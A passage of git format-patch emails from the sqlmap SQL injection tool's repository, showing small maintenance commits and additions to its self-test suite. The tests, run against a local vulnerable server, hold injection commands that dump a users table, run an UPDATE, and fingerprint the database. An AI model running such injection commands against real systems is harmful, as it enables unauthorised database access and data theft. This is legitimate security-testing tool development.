From 862959f27a2e4075c066a4061a78b0feba80a195 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 25 Nov 2019 22:57:44 +0100 Subject: [PATCH 001/159] Minor check --- lib/core/option.py | 7 +++++++ lib/core/settings.py | 2 +- 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 526693768..02d740314 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1524,6 +1524,13 @@ def _cleanupOptions(): Cleanup configuration attributes. """ + if conf.encoding: + try: + codecs.lookup(conf.encoding) + except Exception as ex: + errMsg = "unknown encoding '%s'" % conf.encoding + raise SqlmapValueException(errMsg) + debugMsg = "cleaning up configuration parameters" logger.debug(debugMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index 3f4794336..96883a969 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.98" +VERSION = "1.3.11.99" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d8e4eede6efa9b37083d7650027eef6f25f5e0c4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 25 Nov 2019 22:59:22 +0100 Subject: [PATCH 002/159] Minor patch --- lib/core/option.py | 3 ++- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 02d740314..7d11c809f 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -7,6 +7,7 @@ See the file 'LICENSE' for copying permission from __future__ import division +import codecs import functools import glob import inspect @@ -1527,7 +1528,7 @@ def _cleanupOptions(): if conf.encoding: try: codecs.lookup(conf.encoding) - except Exception as ex: + except LookupError: errMsg = "unknown encoding '%s'" % conf.encoding raise SqlmapValueException(errMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index 96883a969..8db6b6300 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.99" +VERSION = "1.3.11.100" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From adf713d18c41ca6677d38f03e9b2c0363bf48a0f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 25 Nov 2019 23:47:29 +0100 Subject: [PATCH 003/159] Minor update --- lib/core/settings.py | 2 +- lib/core/testing.py | 5 +++-- lib/techniques/blind/inference.py | 5 +++++ 3 files changed, 9 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 8db6b6300..1c0bc4198 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.100" +VERSION = "1.3.11.101" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 99a280dce..7ef9e72de 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -65,14 +65,15 @@ def vulnTest(): TESTS = ( ("-r --flush-session", ("CloudFlare",)), - ("-u --flush-session --forms --crawl=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3")), + ("-u --flush-session --encoding=ascii --forms --crawl=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3")), ("-u --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3")), ("-u --flush-session --data='' --union-char=1 --mobile --banner --smart", ("might be injectable", "Payload: --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")), ("-u --flush-session -H 'id: 1*' --tables", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), + ("-u --flush-session --banner --invalid-logical --technique=B --test-filter='OR boolean' --tamper=space2dash", ("banner: '3", " LIKE ")), ("-u --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3")), - ("-u --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"id2=2\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")), + ("-u --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")), ("-u --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")), ("-u --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")), diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index cd6289b88..28eb23511 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -37,6 +37,7 @@ from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapThreadException +from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import CHAR_INFERENCE_MARK from lib.core.settings import INFERENCE_BLANK_BREAK from lib.core.settings import INFERENCE_EQUALS_CHAR @@ -425,6 +426,10 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None else: return None else: + if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset: + errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms() + raise SqlmapUnsupportedFeatureException(errMsg) + candidates = list(originalTbl) bit = 0 while len(candidates) > 1: From 6823971442a24e85e5dcb348c0319d7f3b34c4a0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 26 Nov 2019 13:18:21 +0100 Subject: [PATCH 004/159] Minor patch --- lib/core/settings.py | 2 +- lib/request/redirecthandler.py | 6 ++---- 2 files changed, 3 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1c0bc4198..27e05ec7c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.101" +VERSION = "1.3.11.102" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index e7889941f..daf27fbd5 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -74,10 +74,8 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler): try: content = fp.read(MAX_CONNECTION_TOTAL_SIZE) - except Exception as ex: - dbgMsg = "there was a problem while retrieving " - dbgMsg += "redirect response content ('%s')" % getSafeExString(ex) - logger.debug(dbgMsg) + except: # e.g. IncompleteRead + content = "" finally: if content: try: # try to write it back to the read buffer so we could reuse it in further steps From 04708c6d1aa1b3eff55728c8778d010023486d2a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 26 Nov 2019 13:36:06 +0100 Subject: [PATCH 005/159] Minor improvement --- lib/controller/action.py | 5 ++++- lib/core/settings.py | 2 +- lib/core/testing.py | 2 +- plugins/generic/custom.py | 9 +++------ 4 files changed, 9 insertions(+), 9 deletions(-) diff --git a/lib/controller/action.py b/lib/controller/action.py index 6ae232373..40ea3f26e 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -181,7 +181,10 @@ def action(): raise if conf.sqlQuery: - conf.dumper.sqlQuery(conf.sqlQuery, conf.dbmsHandler.sqlQuery(conf.sqlQuery)) + for query in conf.sqlQuery.strip(';').split(';'): + query = query.strip() + if query: + conf.dumper.sqlQuery(query, conf.dbmsHandler.sqlQuery(query)) if conf.sqlShell: conf.dbmsHandler.sqlShell() diff --git a/lib/core/settings.py b/lib/core/settings.py index 27e05ec7c..6c8c5eb85 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.102" +VERSION = "1.3.11.103" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 7ef9e72de..65e2b037c 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -80,7 +80,7 @@ def vulnTest(): ("-u '&echo=foobar*' --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u '&query=*' --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3")), ("-d --flush-session --dump -T users --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)",)), - ("-d --flush-session --banner --schema --sql-query=\"SELECT 987654321\"", ("banner: '3", "INTEGER", "TEXT", "id", "name", "surname", "[*] 987654321",)), + ("-d --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "[*] 987654321",)), ) retVal = True diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index 7fb200d30..41860b569 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -61,16 +61,13 @@ class Custom(object): return None else: if sqlType: - debugMsg = "executing %s query: '%s'" % (sqlType if sqlType is not None else "SQL", query) + infoMsg = "executing %s statement: '%s'" % (sqlType if sqlType is not None else "SQL", query) else: - debugMsg = "executing unknown SQL type query: '%s'" % query - logger.debug(debugMsg) + infoMsg = "executing unknown SQL command: '%s'" % query + logger.info(infoMsg) inject.goStacked(query) - debugMsg = "done" - logger.debug(debugMsg) - output = NULL except SqlmapNoneDataException as ex: From db2e74a81026355f25f895369f207bdf37d51a3b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 26 Nov 2019 13:51:08 +0100 Subject: [PATCH 006/159] Minor patch --- lib/controller/checks.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index f0630ec89..e61b7ae06 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -600,7 +600,7 @@ def checkSqlInjection(place, parameter, value): if candidates: candidates = sorted(candidates, key=len) for candidate in candidates: - if re.match(r"\A\w+\Z", candidate): + if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content break conf.string = candidate diff --git a/lib/core/settings.py b/lib/core/settings.py index 6c8c5eb85..1bf19c488 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.103" +VERSION = "1.3.11.104" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 78a557356344d7f2469bd3f1fd192c789a56a210 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 26 Nov 2019 14:03:22 +0100 Subject: [PATCH 007/159] Just in case patch --- lib/controller/checks.py | 3 +++ lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index e61b7ae06..02d8989ed 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -930,6 +930,9 @@ def checkFalsePositives(injection): randInt1 = min(randInt1, randInt2, randInt3) randInt3 = max(randInt1, randInt2, randInt3) + if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)): + continue + if randInt3 > randInt2 > randInt1: break diff --git a/lib/core/settings.py b/lib/core/settings.py index 1bf19c488..15526e2cf 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.104" +VERSION = "1.3.11.105" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 6ab1cf8caae829d02e3d42101f77e5b4d4c8d1de Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 26 Nov 2019 16:22:23 +0100 Subject: [PATCH 008/159] Minor cleanup --- extra/vulnserver/vulnserver.py | 2 -- lib/core/settings.py | 2 +- lib/request/httpshandler.py | 1 - lib/request/redirecthandler.py | 1 - lib/utils/crawler.py | 1 - 5 files changed, 1 insertion(+), 6 deletions(-) diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index d70f52f17..401d77c47 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -17,7 +17,6 @@ import threading import traceback if sys.version_info >= (3, 0): - from http.client import FOUND from http.client import INTERNAL_SERVER_ERROR from http.client import NOT_FOUND from http.client import OK @@ -29,7 +28,6 @@ if sys.version_info >= (3, 0): else: from BaseHTTPServer import BaseHTTPRequestHandler from BaseHTTPServer import HTTPServer - from httplib import FOUND from httplib import INTERNAL_SERVER_ERROR from httplib import NOT_FOUND from httplib import OK diff --git a/lib/core/settings.py b/lib/core/settings.py index 15526e2cf..aa62de0ca 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.105" +VERSION = "1.3.11.106" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index ff08ea3a2..dd12c13db 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -11,7 +11,6 @@ import socket from lib.core.common import filterNone from lib.core.common import getSafeExString -from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapConnectionException diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index daf27fbd5..b74665108 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -10,7 +10,6 @@ import time import types from lib.core.common import getHostHeader -from lib.core.common import getSafeExString from lib.core.common import logHTTPTraffic from lib.core.common import readInput from lib.core.convert import getUnicode diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index d99b51fcb..f88e33bef 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -28,7 +28,6 @@ from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import OrderedSet -from lib.core.enums import HTTPMETHOD from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapSyntaxException From ce6573304357fbd887b732f2b0e7262dd0f630ca Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 27 Nov 2019 12:09:51 +0100 Subject: [PATCH 009/159] Minor patch (problem reported via email) --- lib/core/settings.py | 5 ++++- lib/techniques/union/test.py | 4 ++++ 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index aa62de0ca..03664d18f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.106" +VERSION = "1.3.11.107" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -601,6 +601,9 @@ PARSE_HEADERS_LIMIT = 3 # Step used in ORDER BY technique used for finding the right number of columns in UNION query injections ORDER_BY_STEP = 10 +# Maximum value used in ORDER BY technique used for finding the right number of columns in UNION query injections +ORDER_BY_MAX = 1000 + # Maximum number of times for revalidation of a character in inference (as required) MAX_REVALIDATION_STEPS = 5 diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index 5e223575d..30b58c94b 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -38,6 +38,7 @@ from lib.core.settings import MIN_RATIO from lib.core.settings import MIN_STATISTICAL_RANGE from lib.core.settings import MIN_UNION_RESPONSES from lib.core.settings import NULL +from lib.core.settings import ORDER_BY_MAX from lib.core.settings import ORDER_BY_STEP from lib.core.settings import UNION_MIN_RESPONSE_CHARS from lib.core.settings import UNION_STDEV_COEFF @@ -74,6 +75,9 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where= if not conf.uCols and _orderByTest(highCols): lowCols = highCols highCols += ORDER_BY_STEP + + if highCols > ORDER_BY_MAX: + break else: while not found: mid = highCols - (highCols - lowCols) // 2 From 47d2cf0c6ce543b72c8937bbbf163e1634c99dc8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 27 Nov 2019 23:26:39 +0100 Subject: [PATCH 010/159] Some more tests --- lib/core/settings.py | 4 ++-- lib/core/testing.py | 22 ++++++++++++++++------ 2 files changed, 18 insertions(+), 8 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 03664d18f..a2f435bd6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.107" +VERSION = "1.3.11.108" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -382,7 +382,7 @@ WEBSCARAB_SPLITTER = "### Conversation" BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+={10,}" # Regex used for parsing XML Burp saved history items -BURP_XML_HISTORY_REGEX = r'(\d+).+?(\d+).*? --flush-session", ("CloudFlare",)), - ("-u --flush-session --encoding=ascii --forms --crawl=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3")), + ("--list-tampers", ("between", "MySQL", "xforwardedfor")), + ("-r --flush-session", ("CloudFlare", "possible DBMS: 'SQLite'")), + ("-l --flush-session --skip-waf -v 3 --technique=U --union-from=users --banner --parse-errors", ("banner: '3", "ORDER BY term out of range", "~xp_cmdshell")), + ("-l --offline --banner -v 5", ("banner: '3", "~[TRAFFIC OUT]")), + ("-u --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3")), ("-u --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3")), - ("-u --flush-session --data='' --union-char=1 --mobile --banner --smart", ("might be injectable", "Payload: --flush-session --data='' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")), ("-u --flush-session -H 'id: 1*' --tables", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), ("-u --flush-session --banner --invalid-logical --technique=B --test-filter='OR boolean' --tamper=space2dash", ("banner: '3", " LIKE ")), @@ -113,7 +117,13 @@ def vulnTest(): handle, request = tempfile.mkstemp(suffix=".req") os.close(handle) - open(request, "w+").write("POST / HTTP/1.0\nHost: %s:%s\n\nid=1\n" % (address, port)) + handle, log = tempfile.mkstemp(suffix=".log") + os.close(handle) + + content = "POST / HTTP/1.0\nHost: %s:%s\n\nid=1\n" % (address, port) + + open(request, "w+").write(content) + open(log, "w+").write('%d' % (port, encodeBase64(content, binary=False))) url = "http://%s:%d/?id=1" % (address, port) direct = "sqlite3://%s" % database @@ -122,10 +132,10 @@ def vulnTest(): status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS))) dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) - cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("", url).replace("", direct).replace("", request)) + cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("", url).replace("", direct).replace("", request).replace("", log)) output = shellExec(cmd) - if not all(check in output for check in checks): + if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks): dataToStdout("---\n\n$ %s\n" % cmd) dataToStdout("%s---\n" % clearColors(output)) retVal = False From 03728a4f20c90a828b115cc31bcce6f22191af15 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 27 Nov 2019 23:40:36 +0100 Subject: [PATCH 011/159] Bug fix (--common-columns on SQLite) --- lib/core/common.py | 8 ++++---- lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 21c9845e2..eb3e86730 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4068,9 +4068,9 @@ def safeSQLIdentificatorNaming(name, isTable=False): if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) retVal = unsafeSQLIdentificatorNaming(retVal) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) retVal = "`%s`" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX): retVal = "\"%s\"" % retVal elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): retVal = "\"%s\"" % retVal.upper() @@ -4106,9 +4106,9 @@ def unsafeSQLIdentificatorNaming(name): retVal = name if isinstance(name, six.string_types): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): retVal = name.replace("`", "") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB): retVal = name.replace("\"", "") elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): retVal = name.replace("\"", "").upper() diff --git a/lib/core/settings.py b/lib/core/settings.py index a2f435bd6..f90455ac8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.108" +VERSION = "1.3.11.109" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 989915b91c8ef2f9ea28c5b646303dfc28601ecb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 28 Nov 2019 00:02:08 +0100 Subject: [PATCH 012/159] Bug fix (type detection in SQLite --common-columns) --- lib/core/settings.py | 2 +- lib/utils/brute.py | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index f90455ac8..006443357 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.109" +VERSION = "1.3.11.110" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/brute.py b/lib/utils/brute.py index 7a004d261..4b75a0b5d 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -289,6 +289,8 @@ def columnExists(columnFile, regex=None): for column in threadData.shared.files: if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,): + result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s NOT GLOB '*[^0-9]*')", (column, table, column))) else: result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) From 7731c6c135a1cd2ab147e00e05ec1a0d1a73bba7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 28 Nov 2019 00:29:42 +0100 Subject: [PATCH 013/159] Minor patch --- lib/core/dump.py | 2 -- lib/core/settings.py | 2 +- lib/core/testing.py | 20 ++++++++++---------- 3 files changed, 11 insertions(+), 13 deletions(-) diff --git a/lib/core/dump.py b/lib/core/dump.py index 31ca30326..c9c06f672 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -137,8 +137,6 @@ class Dump(object): self._write("%s:\n---\n%s\n---" % (header, _)) else: self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, six.string_types) else _)) - else: - self._write("%s:\tNone" % header) def lister(self, header, elements, content_type=None, sort=True): if elements and sort: diff --git a/lib/core/settings.py b/lib/core/settings.py index 006443357..939cee8e7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.11.110" +VERSION = 